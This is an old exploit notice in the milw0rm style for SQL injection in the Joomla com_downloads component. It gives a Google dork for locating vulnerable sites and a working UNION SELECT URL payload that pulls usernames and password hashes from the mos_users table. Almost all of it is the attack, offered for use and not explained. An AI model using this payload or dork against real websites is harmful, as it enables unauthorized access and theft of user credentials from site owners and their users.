=0D
#########################################################################=0D
# =0D
#   joomla SQL Injection (cat)(com_downloads)=0D
#=0D
######################################################################### =0D
#=0D
# AUTHOR : S@BUN =0D
#=0D
# HOME : http://www.milw0rm.com/author/1334 =0D 
#=0D
# MAİL : www.milw0rm.com@gmail.com=0D 
#=0D
#########################################################################=0D
# =0D
#  DORK 1 : allinurl:"selectcat"com_downloads=0D
# =0D
#########################################################################=0D
   EXPLOIT : =0D
=0D
index.php?option=com_downloads&Itemid=S@BUN&func=selectcat&cat=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/* =0D 
=0D
#########################################################################=0D
# S@BUN      i AM NOT HACKER          S@BUN =0D
#########################################################################=0D